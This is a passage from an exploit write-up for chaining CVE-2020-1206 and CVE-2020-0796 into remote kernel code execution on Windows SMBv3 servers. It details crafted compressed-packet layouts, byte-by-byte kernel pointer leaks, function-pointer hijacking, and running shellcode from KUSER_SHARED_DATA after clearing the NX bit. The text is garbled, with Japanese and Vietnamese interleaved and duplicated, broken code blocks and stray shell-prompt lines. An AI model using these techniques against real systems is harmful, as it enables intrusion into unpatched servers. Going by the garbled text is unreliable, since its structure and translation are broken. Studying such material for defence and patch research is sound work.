+18 |  [+50..................]  <--  AcceptSocket
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]
  • AcceptSocketポインタとその周辺のメモリは、ここで説明されているように読み取られます。``` +00 | __ __ __ __ __ __ __ __ +08 | __ __ __ __ __ __ __ __ +10 | __ __ __ __ __ __ __ __ +18 | ab cd ef gh ij kl mn op <-- AcceptSocket +20 | __ __ __ __ __ __ __ __ +28 | qr st uv wx __ __ __ __
root@kitploit:~
- バッファAの領域 "User buffer" は、ここで説明されているように修正されます。(オレンジ色のバイトは読み取りたいポインタを含んでいます。正しく配置するだけです。)```
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 c0 ef gh ij kl mn op
+28 |  qr st uv wx ab 0d 00 00

  1. AcceptSocket ポインターをバッファ A の「ユーザーバッファ」領域から読み取ります。

良いニュースは、ポインターを読み取れたことです。悪いニュースは、SRVNET_RECV 構造体内の一部のデータを壊してしまったことです。幸いなことに、関連する接続に何も起こらなければ、このエラーはシステムに影響しません。何かが起こった場合、例えば接続が閉じられると、システムはクラッシュします。しかし、それは問題ではありません。まもなく RCE を取得し、必要ならば修正できるからです。

AcceptSocket ポインターを読み取った後、同じ手法を使って srvnet!SrvNetWskConnDispatch ポインターを読み取ります。AcceptSocket ポインターを読み取る理由は、HandlerFunctions の配列はすべての接続間で共有されているのに対し、AcceptSocket が指すバッファは他の接続と共有されていないからです。そのため、AcceptSocket 内の部分を壊しても、1つの接続の安定性にしか影響しません。

ターゲットマシンで使用されている srvnet.sys ファイルのコピーがあれば、リークした SrvNetWskConnDispatch ポインターのオフセットを差し引くことで、srvnet.sys モジュールのベースアドレスを簡単に推測できます。

任意読み取りの実装

srvnet.sys モジュールのベースアドレスがわかっていると仮定すると、モジュールの任意の関数を呼び出すことができます。しかし、関数の引数はどうでしょうか? srv2!Srv2ReceiveHandler 関数は SrvNetCommonReceiveHandler によって呼び出され、その呼び出しは次の形式です:``` c HandlerFunctions = *(pSrvNetRecv + 0x118); Arg1 = *(ULONG_PTR)(pSrvNetRecv + 0x128); Arg2 = *(ULONG_PTR)(pSrvNetRecv + 0x130); (HandlerFunctions[1])(Arg1, Arg2, Arg3, Arg4, Arg5, Arg6, Arg7, Arg8);

root@kitploit:~
最初の2つの引数はSRVNET_RECV構造体から読み取られるため、それらを制御できますが、残りの引数は制御できません。x86-64の呼び出し規約では、呼び出し元が引数のスタック領域の割り当てと解放を担当するため、8引数の関数を呼び出すつもりであっても、ポインタを任意の他の関数に置き換えることができます。

![](https://assets.kitploit.com/production/public/readmes/24502/223827f49f26993604c20b873d75ea5b11d306a85ff5210ceb2583f0a0b9452c.png)

以下は、関数呼び出しをトリガーするために使用する手順です。
1. 特別に細工されたメッセージを送信して、接続のSRVNET_RECV構造体のポインタを読み取り可能なバッファにコピーさせます。
2. 別の有効なメッセージを送信します。このメッセージは同じSRVNET_RECV構造体を再利用しますが、接続は閉じません。接続が閉じられても、SRVNET_RECV構造体は解放されないことに注意してください。代わりにSrvNetPrepareConnectionForReuse関数が呼び出され、構造体をリセットして次の接続で再利用できるようにします。
3. 手順1でコピーしたSRVNET_RECV構造体のポインタを読み取ります。
4. write-what-whereプリミティブを使用して、HandlerFunctionsポインタとその引数を置き換えます。
5. 手順2の接続を介して追加のメッセージを送信し、srv2!Srv2ReceiveHandlerの代わりとなる関数を呼び出します。

ここで必要なのは、メモリのある場所から別の場所へコピーする関数を見つけ、任意のメモリを読み取り可能なプールバッファにコピーできるようにすることです。memcpyが選択肢の一つであり、srvnet.sysにはそのような関数(正確にはmemmove)がありますが、この関数は3番目の引数(コピーするバイト数を指定する)が必要であり、この引数は制御できません。ただし、srvnet.sys内で実装された関数に限定されるわけではなく、srvnetのインポートテーブルから関数を呼び出すこともでき、RtlCopyUnicodeStringが目的に最適です。

RtlCopyUnicodeString関数は、2つのUNICODE_STRINGポインタを引数として受け取り、ソース文字列の内容をデスティネーション文字列にコピーします。NULL終端のC文字列とは異なり、カーネル内の文字列は、文字列へのポインタとバイト単位の長さを含むUNICODE_STRING構造体によって定義されます。文字列バッファには任意のバイナリデータを含めることができます。RtlCopyUnicodeStringのコードを見ると、コピーはmemmove関数を使用して行われ、純粋なバイナリデータがコピーされます。必要なのは、2つのUNICODE_STRING構造体を準備し、RtlCopyUnicodeStringを呼び出し、コピーされたデータを読み取ることだけです。

![](https://assets.kitploit.com/production/public/readmes/24502/8a450b86ecf834ec4905a2bb72dab3781d1dd2ad56ee197a003e282180ce51bc.png)

## シェルコードの実行

便利な任意読み取りプリミティブを達成した後、次の挑戦はシェルコードを実行してリモートコード実行を実現することです。Morten Schenkが[Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf)の講演(スライド47-51)で紹介した手法を使用します。

アイデアは、最近のWindowsバージョンのカーネルメモリレイアウトで唯一ランダム化されていない固定アドレスであるKUSER_SHARED_DATA構造体の下にシェルコードを書き込み、関連するページテーブルエントリを変更してページを実行可能にすることです。カーネル内のページテーブルエントリのベースアドレスはランダムですが、ntoskrnl.exe内のMiGetPteAddress関数から取得できます。以下は、シェルコードを実行するために使用する手順です。
1. 任意読み取りプリミティブを使用して、srvnetのインポートテーブルからntoskrnl.exeのベースアドレスを取得します。
2. Mortenのスライドで説明されているように、MiGetPteAddress関数からページテーブルエントリのベースアドレスを読み取ります。
3. シェルコードをKUSER_SHARED_DATA + 0x800(0xFFFFF78000000800)のアドレスに書き込みます。プールバッファの1つを使用してシェルコードを保存することもできますが、KUSER_SHARED_DATAを使用すると物事が簡単になります。
4. Mortenのスライドで説明されているように、関連するページテーブルエントリのアドレスを計算し、NXビットをクリアして実行を許可します。
5. 前述の任意関数呼び出し手法を使用してシェルコードを呼び出します。

Zecopsがリバースシェルに使用したシェルコードは、EternalBlueエクスプロイト用に書かれた[sleepyaのシェルコード](https://github.com/worawit/MS17-010/tree/master/shellcode)をベースに、最近のWindowsバージョンでも動作するように修正したものです。

# デバッグ

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

SMBパケットの情報は上記のような構造に近いものです。User Bufferのアドレスをリークする必要がある場合、UserBufferPtrポインタを読み取る必要があります。このポインタを読み取るには、[手法](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout)を利用して、オフセットフィールドをポインタの外側に配置し、別のバッファのユーザーバッファ領域にコピーされるようにします。

クライアントから送信されるSMBパケットの内容例は次のとおりです。```c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x0
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x2116
Data = ‘A’ * 0x1101.

このパケットがサーバーに到着すると、SrvNetAllocateBuffer関数によって作成されたバッファに格納されます。パケット全体のサイズが0x1100から0x2100の範囲にあるため、この関数は0x2100のサイズのユーザーバッファ領域を持つアロケーションを返します (これをAlloc Aと呼びます)。その後、クライアントが送信した情報を以下の図のように格納します:

アドレス0xffffd38439044050から0xffffd38439045160まではクライアントから送信されたデータ、0xffffd38439045160から0xffffd38439046150まではサーバー側で未初期化のデータ、0xffffd38439046150から0xffffd38439046240まではAlloc AのSRVNET_BUFFER_HDRのデータです。したがって、読み取りたいポインタは0xffffd38439046150 + 0x18 = 0xffffd38439046168に位置します。

このポインタを読み取るために、私は前述のテクニックを使用し、オフセットフィールドを読み取りたいポインタの外側に設定しました。そのため、上記のパケットはサイズが0x2100未満であるにもかかわらず、オフセットは0x2116に設定されています。

次に、SMBサーバーはSrvNetAllocateBuffer関数を呼び出し、OriginalCompressedSegmentSizeとOffset(0x2116)の合計に基づいてメモリ領域を割り当てます。これにより、サイズ0x4100のユーザーバッファ領域を持つアロケーションが割り当てられます(これをAlloc Bと呼びます)。割り当てられたデータは次のようになります:

予期しないエラーを避けるために、事前にAlloc Bと同じlookasideリストのバッファを何度も作成し、それらを0x00バイトで埋めていました。

次に、SMBサーバーは圧縮データを解凍し、クライアントが送信した非圧縮データをAlloc Bのユーザーバッファ領域にコピーします:

ご覧のとおり、OriginalCompressedSegmentSize = 0のため圧縮データはなく、プログラムはAlloc Aの0xffffd38439044060から0xffffd38439044060 + 0x2116 = 0xffffd38439046176までのデータをAlloc Bのユーザーバッファ領域にコピーします。これにより、Alloc AのSRVNET_BUFFER_HDRの一部の情報がAlloc Bのユーザーバッファ領域にコピーされました。

ここで、前述のテクニックを使用して、アロケーションプールのアドレス(ユーザーバッファのアドレス)をリークします。

例えば、アドレス0xffffd3843636f15eの1バイトが0x7fより大きいかどうかを知りたいとします。以下の情報を持つSMBパケットを作成します:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0x1ff2
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x210e Data = ‘B’ * 0x210e + compress(‘\xb0’ + ‘\x00’(0x7f+3) + ‘\xff’(0xff - 0x7f)) + ‘\xff’*0x1fe9
root@kitploit:~
なぜそのようなSMBを作成する必要があるのか、一つずつ分析していきます。まず、OriginalCompressedSegmentSizeとOffsetの合計が0x4100であるため、同様のuser bufferを持つalloc、つまり以前使用したAlloc Bが再利用されます。アドレス0xffffd3843636f15eの1バイトが0x7fより大きいかどうかを推測したいため、このアドレスはuser bufferのアドレスから0x210e離れているため、非圧縮データは0x210eバイト(‘B’ * 0x210e)になります。次に、有効な圧縮データ(compress()関数で圧縮されたもの)が続き、その後に無効な圧縮データ(‘\xff’* 0x1fe9)が続きます。これにより、解凍を実行する際、有効な圧縮データのみが別のallocに解凍され、その後、後続の無効な圧縮データによって接続が切断されるため、非圧縮データはそのallocにコピーされず、以前にコピーしたデータが保持されます。

![](https://assets.kitploit.com/production/public/readmes/24502/3e1ffd768b120645917e7f1757987f80c79514b52f3bc18e46fdfb0a2d2ca05f.png)

上記は、SMBサーバーによって作成された、前述の情報を含むAllocです。次に、SMBサーバーはSrvNetAllocateBuffer関数を呼び出して、対応するAllocを作成します。そのOriginalCompressedSegmentSizeとOffsetの合計が0x4100であるため、Alloc Bが再利用されます:

![](https://assets.kitploit.com/production/public/readmes/24502/5b218cbd142d58da175ee6a58bfc505646a560467db6db28ab70e0db34ee9ce3.png)

その後、SMBサーバーはクライアントから送信された情報を、オフセットに対応するAlloc Bのuser bufferに解凍します。

![](https://assets.kitploit.com/production/public/readmes/24502/f3b545366e8f3bcff6a69d184cc383bfcf70643c23ff0ac01ece1a95cc0fd88d.png)

赤色のデータは解凍されたデータで、残りの部分は保持されます。上の図からわかるように、必要なバイトは保持され、その直後に解凍されたデータが続きます。

このバイトが0x7fより大きいかどうかを確認するには、次のように行います:

次の内容のSMBパケットを作成します:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x2004
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x20fd
Data = ‘B’ * 0x20f1

Mặc dù tổng OriginalCompressedSegmentSize và Offset là lớn hơn 0x4100 nhưng khi cấp phát vùng alloc để lưu gói tin được gửi đến từ client (với tổng kích thước dưới 0x4100), SMB server vẫn chỉ cấp phát một Alloc có vùng user buffer là 0x4100 byte như hình bên dưới:

OriginalCompressedSegmentSize と Offset の合計が 0x4100 より大きいにもかかわらず、クライアントから送信されたパケット(合計サイズが 0x4100 未満)を保存するための alloc 領域を割り当てる際、SMB サーバーは以下の図のように、ユーザーバッファ領域が 0x4100 バイトの Alloc のみを割り当てます。

Các dữ liệu được tô màu xanh lá như trên là những dữ liệu của Alloc B được cấp phát lần trước, do cùng lookaside list nên được tái sử dụng.

上記で緑色で強調表示されたデータは、以前に割り当てられた Alloc B のデータであり、同じ lookaside list に属するため再利用されています。

Tiếp theo SMB Server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một Alloc chứa dữ liệu sau khi giải nén:

次に、SMB サーバーは SrvNetAllocateBuffer 関数を呼び出して、解凍後のデータを格納する Alloc を割り当てます。

Qua việc giải nén, SMB server sẽ lấy dữ liệu từ User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Dữ liệu được lấy ra sẽ có dạng như sau:

解凍により、SMB サーバーは User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d からデータを取得します。取得されたデータは次のようになります。

Với thuật toán giải nén đã được nói ở trên, nó sẽ tiến hành lấy ra 2 byte đầu tiên và sử dụng như length của block, dựa vào length đó nó sẽ lấy ra phần tiếp theo sau length và giải nén.

前述の解凍アルゴリズムでは、最初の 2 バイトを取得し、それをブロックの長さとして使用します。その長さに基づいて、長さの後の次の部分を取得して解凍します。

Như trên thì length sẽ là 0xB0D3, tuy nhiên theo thuật toán, thì length thật của nó sẽ theo công thức: length = length & 0xFFF + 1 → length sẽ là 0xD4. Nó sẽ lấy ra D4 byte tiếp theo và tiến hành giải nén bình thường cho đến khi gặp được byte FF (do 0xD4 byte sẽ gồm cả tất cả byte 00 và một phần byte FF), lúc này dữ liệu nén được coi là không hợp lệ, nó sẽ không giải nén tiếp và ngắt kết nối.

上記のように、長さは 0xB0D3 になりますが、アルゴリズムによると、実際の長さは次の式に従います: length = length & 0xFFF + 1 → 長さは 0xD4 になります。次の D4 バイトを取得し、FF バイトに遭遇するまで通常どおり解凍を続けます (0xD4 バイトにはすべての 00 バイトと一部の FF バイトが含まれます)。この時点で、圧縮データは無効と見なされ、解凍を続行せずに接続を切断します。

Dựa vào việc ngắt kết nối của server, ta có thể đoán byte mà ta cần biết sẽ lớn hơn 0x7f.

サーバーの切断動作に基づいて、推測したいバイトが 0x7f より大きいと推定できます。

Vậy với việc byte ta cần đoán nhỏ hơn thì sao. Ta sẽ tiếp tục phân tích ở trên, nhưng lần này ta sẽ dùng byte so sánh là D7, như vậy D3 sẽ nhỏ hơn D7. Ta cùng xem chuyện gì sẽ xảy ra:

では、推測したいバイトが小さい場合はどうなるでしょうか。上記の分析を続けますが、今回は比較バイトとして D7 を使用します。すると、D3 は D7 よりも小さくなります。何が起こるか見てみましょう。

Đầu tiên gửi đến SMB server gói tin như sau:

まず、以下のようなパケットを SMB サーバーに送信します。``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0x1ff2
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x210e Data = ‘B’ * 0x210e + compress(‘\xb0’ + ‘\x00’(0xd7+3) + ‘\xff’(0xff - 0xd7)) + ‘\xff’*0x1fe9
root@kitploit:~
Phía SMB server sẽ tạo một alloc lưu trữ như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/3df2c6c8e5de90714455663bbb922efec7ae6888a970a3d65e389a28aea16837.png)

Tiếp theo nó sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một alloc như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/51affc73361727907ada6fb3f439831d0e95cee531a65106fa79ce4519ceaab8.png)

Tất nhiên alloc này được tái sử dụng lại từ alloc có cùng lookasidelist (Alloc B). Sau đó chương trình tiến hành giải nén bình thường với dữ liệu nén hợp lệ, và ngắt kết nối với dữ liệu nén không hợp lệ:

![](https://assets.kitploit.com/production/public/readmes/24502/01a9cc43acbc6b7cc283f40a0dbe348608a3566bfc34ce24aa2cc694315e67a3.png)

Bước tiếp theo, ta sẽ gửi tiếp một dữ liệu tương tự như lần trước và SMB server sẽ cấp phát một alloc tương ứng: 

![](https://assets.kitploit.com/production/public/readmes/24502/ed438d4d0049b2188573e0fb3171cadf23701c7b0cef2de43a52434c07381341.png)

Các dữ liệu được tô màu xanh lá như trên là những dữ liệu của Alloc B được cấp phát lần trước, do cùng lookaside list nên được tái sử dụng.

Tiếp theo SMB Server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một Alloc chứa dữ liệu sau khi giải nén:

![](https://assets.kitploit.com/production/public/readmes/24502/7ed3dca4594bd1772c44689190d4df3b597d43daf7c87edb281b3e82a834884e.png)

Qua việc giải nén, SMB server sẽ lấy dữ liệu từ User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Dữ liệu được lấy ra sẽ có dạng như sau:

![](https://assets.kitploit.com/production/public/readmes/24502/68f677093ef93e02c5df9d70dce560e4d06e74446970f1f14f1ad37f08ce898e.png)

Tương tự như lần trước thì length ban đầu sẽ là 0xB0D3, qua tính toán sẽ thành 0xD4. Và nó sẽ lấy ra D4 byte tiếp theo và tiến hành giải nén bình thường. Tuy nhiên do D4 < D7 nên dữ liệu nén được lấy ra để giải nén lúc này chỉ chứa toàn byte 0. Nó sẽ giải nén bình thường cho đến hết block đó. Tiếp theo nó sẽ lấy ra độ dài của block tiếp theo thông qua độ dài của block trước đó, hai byte tiếp theo là D5 và D6 là 0x0, nên độ dài của nó lúc này là 0x0, do đó length lấy ra sẽ là  0x0000 → kết thúc quá trình giải nén → giải nén thành công  → SMB server trả lại một response → ta biết được byte cần biết nhỏ hơn hoặc bằng 0xD7. 

Tương tự như vậy ta sẽ làm cho đến khi leak được toàn bộ 6 byte của một address. Ta sẽ có được allocation pool address.

Khi có được allocation pool address, ta sẽ tiến hành tìm địa chỉ srvnet base address thông qua việc lấy con trỏ trỏ tới cấu trúc SRVNET_RECV bằng cách tương tự như leak allocation pool address. 

Sau khi có được 2 địa chỉ: allocation pool và SRVNET_RECV lần lượt có giá trị: `0xffffd38439044000` và `0xffffd3843654ddd8`, ta tiến hành leak srvnet base address. 

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

![](https://assets.kitploit.com/production/public/readmes/24502/239c0c59c0e492097bdaf2eac907812124a89ef8bb31841287202ae80f4d13d0.png)

Để đọc con trỏ AcceptSocket, ta cần làm như sau:
1. Chuẩn bị Alloc A từ một lookaside list sao cho vùng “User buffer” được lấp đầy bởi các số 0. Buffer này sau đó sẽ chứa con trỏ mà chúng ta sẽ đọc. Ở đây Alloc A sẽ được sử dụng từ Alloc ứng với allocation pool address mà ta leak được. Do đó, vùng User buffer của Alloc A sẽ bắt đầu từ địa chỉ 0xffffd38439044050 thông qua việc sử dụng chung một lookaside list. 
2. Chuẩn bị Alloc B từ một lookaside list khác để:
- Con trỏ pMdl1 trỏ đến địa chỉ của con trỏ AcceptSocket trừ đi 0x18, (do offset của MappedSystemVa là 0x18 trong cấu trúc MDL). 
- Con trỏ pMdl2 trỏ đến vùng “User buffer” của Buffer A.
- Trường Flags được set thành 0x03.

Như vậy địa chỉ của 2 con trỏ Mdl lần lượt là: mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`.

Ta có thể ghi đè các trường cấu trúc SRVNET_BUFFER_HDR bằng cách giải nén chúng từ buffer lớn hơn thông qua kỹ thuật được mô tả trong phần [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).

Tôi sẽ nói rõ hơn bước này ngay sau bước 4.

3. Khi Buffer B được giải phóng, các hoạt động sau sẽ diễn ra:
- Các MDL flags sẽ được đọc từ MDL thứ hai tại buffer A. Nếu MDL_PARTIAL_HAS_BEEN_MAPPED flag được set, MmUnmapLockedPages sẽ được gọi và hệ thống có khả năng bị crash. Đó là lý do tại sao ta phải lấp đầy buffer bằng các số 0 ở bước 1.
- Vùng “User buffer” của Alloc A sẽ được sửa đổi và chứa các thông tin mà ta cần đọc.
4. Đọc con trỏ AcceptSocket từ vùng “User buffer” của buffer A.
- Sử dụng kĩ thuật leak địa chỉ đã dùng ở trên để đọc con trỏ AcceptSocket.

Sau đây tôi sẽ mô tả rõ hơn về các bước trên:

Ở bước 1 khá đơn giản  và tương tự như trên, nên tôi sẽ không nói đến nữa.

Ở bước 2, đầu tiên ta sẽ tạo một gói tin gửi đến SMB Server với nội dung như sau:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = -0x38
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr  + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10

見てわかるように、OriginalCompressedSegmentSize には負の値が含まれており、OriginalCompressedSegmentSize + Offset = 0x10100 となっています。しかし、クライアントがサーバーに送信するパケットサイズは 0x10100 より大きいです。したがって、サーバーが解凍前に最初に作成する Alloc は、解凍後のデータが含まれる Alloc より大きくなります。ここで OriginalCompressedSegmentSize の値を負に設定することで、Offset に依存するため圧縮データの位置に影響を与えずに、OriginalCompressedSegmentSize と Offset の合計がちょうど 0x10100 になるようにしています。また、0x38 は SRVNET_BUFFER_HDR 構造体内の Mdl1 ポインタのオフセットです。

したがって、サーバーは以下のようにクライアントのデータを含む Alloc を作成します。

次に、SrvNetAllocateBuffer 関数を呼び出して、ユーザーバッファサイズが 0x10100 の Alloc、つまり上記の手順に従った Alloc B を割り当てます。

解凍を実行します。もちろん、有効なデータの一部のみが解凍されます。

上記の画像から、Alloc B の SRVNET_BUFFER_HDR 内の 2 つの Mdl ポインタの領域が目的の値に変更されていることがわかります。

同様に、今回は送信パケットのオフセットを次のように調整して、フラグを 3 に設定します。``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = -0x10
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x10110 Data = ‘A’ * 0x10110 + compress(‘\x00\x03’) + ‘\xff’*0x10
root@kitploit:~
最終的に次のようになります:

![](https://assets.kitploit.com/production/public/readmes/24502/467ea07dff7cfaca7062ed50d1605e40586c412f40bcadaf01aa37d862efd3bd.png)

Alloc B が解放されると、次のコードが実行されます:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

上記のように、pMdl1->MappedSystemVa (オフセット0x18) には pMdl1->MappedSystemVa + 0x50 = 0xffffd3843654de68 + 0x18 + 0x50 = 0xffffd3843654ded0 の値が含まれます。

Alloc Bを解放する前のSRVNET_RECVは次のとおりです:

上記のコードの最初の4行を実行した後:

Alloc aを解放する前の状態:

上記のコードをすべて実行した後:

そして、Alloc Aで読み取る必要があるバイトは、以下の青色のバイトです:

したがって、上記の1バイトずつリークする手法を使用するだけで、AcceptSocket + 0x50のアドレスを取得できます。この部分では、0xffffd3843ea02418 → AcceptSocket: 0xffffd3843ea023c8 となります。

同様に、AcceptSocket→ srvnet!SrvNetWskConnDispatch のアドレスをリークします。

以下のように準備する必要があります:

Alloc Bが解放されると、状況は次のように変わります:

AcceptSocket-> srvnet!SrvNetWskConnDispatch + 50のアドレスを取得するために必要なバイトはAlloc A内にあり、そのバイトは下図の青色で示されています:

したがって、AcceptSocket-> srvnet!SrvNetWskConnDispatch は 0xfffff80060e9d170 となります。srvnet.sysモジュール内のオフセットが既知であれば、srvnet baseのアドレスを計算できます。

この部分では、srvnet baseは 0xFFFFF80060E70000 で、srvnet!SrvNetWskConnDispatch のオフセットは 0x2d170 です。

次に、CVE-2020-0796のWrite-what-whereプリミティブを使用して、任意のメモリ領域に書き込みを行います。

まず、srvnetがインポートするIoSizeofWorkItem関数のアドレスをリークすることで、ntoskrnl baseアドレスをリークする方法を見つけます。これを行うために、まず以下のように2つのUNICODESTRING構造体を作成します:``` c // Destination unicode string desLength = 6; desMaximumLength = 6; desBuffer = allocation_pool_object_ptr + 0x1650 + 0x20 + 2;

// Source unicode string srcLength = 6; srcMaximumLength = 6; srcBuffer = srvnet_base_ptr + OFFSETS['srvnet!imp_IoSizeofWorkItem'];

root@kitploit:~
`allocation_pool_object_ptr`は漏洩したアロケーションプールのアドレスであり、`OFFSETS['srvnet!imp_IoSizeofWorkItem']`はsrvnetによってインポートされたIoSizeofWorkItem関数のオフセットである。

これらの2つのUNICODE_STRING構造体は、CVE-2020-0796で見つかったWrite-what-whereテクニックを用いて`allocation_pool_object_ptr + 0x1650`に保存される。

最初に、Destination unicode stringを`allocation_pool_object_ptr + 0x1650`に保存し、次のようにSMBパケットを作成する:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0xffffffff
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x22
Data:
sentinel = os.urandom(2)  // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer)  // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)

Ở trên, data có chứa sentinel được tạo ra bằng hàm os.urandom(2), nó sẽ có độ dài 2 byte, và 2 byte này sẽ giúp ta biết được địa chỉ ta leak ra có đúng là địa chỉ ta cần leak hay không thông qua việc so sánh nó sau khi quá trình leak thành công.

Nếu tổng kích thước của gói tin gửi đi từ client lớn hơn 0x1100 (điều này sẽ tùy thuộc vào dữ liệu được random trước khi nén) thì chắc chắn allocation_pool_object_ptr sẽ được sử dụng để chứa nó trên SMB server:

Tiếp theo SMB server sẽ gọi hàm SrvNetAllocateBuffer để cấp phát một vùng nhớ phục vụ cho việc giải nén. Nhưng do tổng của OriginalCompressedSegmentSize và Offset là 0x21 nên nó chỉ cấp phát một vùng với user buffer có kích thước là 0x1100:

Lỗi heap overflow diễn ra (đã trình bày trong CVE-2020-0796) và sau khi SMB server giải nén (trước khi việc copy dữ liệu không nén diễn ra) sẽ:

Như vậy con trỏ UserBufferPtr đã trỏ về đầu allocation_pool_object_ptr + 0x1650 và khi quá trình copy diễn ra thì allocation_pool_object_ptr sẽ:

Tương tự như vậy, ta sẽ chèn thêm một sentinel bên dưới bằng cách gửi gói tin sau:``` c Header:

  • Id = 0x424d53fc
  • OriginalCompressedSegmentSize = 0xffffffff
  • CompressionAlgorithm = 1
  • Flag = 0
  • Offset = 0x2 Data: data = sentinel data_to_compress = os.urandom(0x1100 - len(data)) // 0x18 null bytes that override the struct. data_to_compress += b'\x00'*0x18 // Target address. data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650 + 0x28) data = data + compress(data_to_compress)
root@kitploit:~
そのため、SMBサーバーがパケットを受信すると、対応するメモリ領域が割り当てられます。このとき割り当てられるメモリ領域は `allocation_pool_object_ptr` であり、以下のようなデータが格納されます。

![](https://assets.kitploit.com/production/public/readmes/24502/24cc306a702cdb5f575bd1d612ea6b35db87aaf875fd45fa64977e50c61e85ed.png)

展開処理後、データは以下のようになります。

![](https://assets.kitploit.com/production/public/readmes/24502/d6442e5a936e1c46ebb9e3a4651e8859dca56c1aa09e9e79ed9155ea105dede2.png)

このようにして、2つのUnicode文字列と、リークしたデータを検証するための2つのセンチネルを作成しました。

次に、`RtlCopyUnicodeString` 関数を呼び出し、上記の2つのUnicode文字列を渡します。

`RtlCopyUnicodeString` 関数を呼び出すには、まず HandlerFunctions ポインタを `RtlCopyUnicodeString` 関数のアドレスで上書きします。この関数は srvnet モジュールによってインポートされており、そのオフセット(私のモジュールの場合)は 0x32288 です。

したがって、write-what-where 手法を用いて、アドレス 0xFFFFF80060E70000 + 0x32288 - 0x8 を HandlerFunctions に書き込みます。

まず、SRVNET_RECV ポインタ(0xffffe00f0b593dd8)をリークします。

![](https://assets.kitploit.com/production/public/readmes/24502/f7c5bde869eb5ba21a0b9dd4e2034417487150592178aa1eb1aef523e246a5c2.png)

接続を維持して、以降のパケットを引き続き送信できるようにします。

次に、write-what-where 手法を使用して、RtlCopyUnicodeString - 0x8 のポインタを書き込みます(-0x8 の理由は、HandlerFunctions 内の Srv2ReceiveHandler 関数を RtlCopyUnicodeString 関数で置き換えるためです)。

![](https://assets.kitploit.com/production/public/readmes/24502/a88b44518f26ed6f0958772bdd4bf124c7c2403a525944b060a37cf17309a092.png)

続いて、先ほど作成した2つのUnicode文字列のポインタを、HandlerFunction の2つの引数に順に書き込みます。

![](https://assets.kitploit.com/production/public/readmes/24502/691bdb0ce599face8b1f35393db9cc37e1f85a075c4d259a7fb96adee9fb66d2.png)

この時点で、同じ接続において、Srv2ReceiveHandler 関数が RtlCopyUnicodeString に置き換えられています。そのため、パケットを送信すると、RtlCopyUnicodeString 関数が呼び出され、Unicode文字列がコピーされます。

![](https://assets.kitploit.com/production/public/readmes/24502/2410149b163fd4ebbfb13fa5d2a127cafcfdc82146c33544b0a6cc6905c13d2b.png)

次に必要なのは、0xffffd38439045670 から 0xffffd3843904567a までの10バイトのアドレスをリークすることです(リークするアドレスの両端にある2つのセンチネルを含む)。その後、リークしたアドレスの先頭と末尾の2バイトがセンチネルかどうかを確認します。センチネルであれば、正しくリークできています(0xfffff8068152c380)。

nt!IoSizeofWorkItem(0xfffff8068152c380)のアドレスをリークした後、そのオフセット(0x12C380)を減算して、ntoskrnl ベースアドレス(0xfffff80681400000)を取得します。

注意:各Windowsバージョンにおけるモジュールファイルのオフセットは異なるため、ターゲットマシン上で正しいモジュールファイルを使用していることを確認してください。

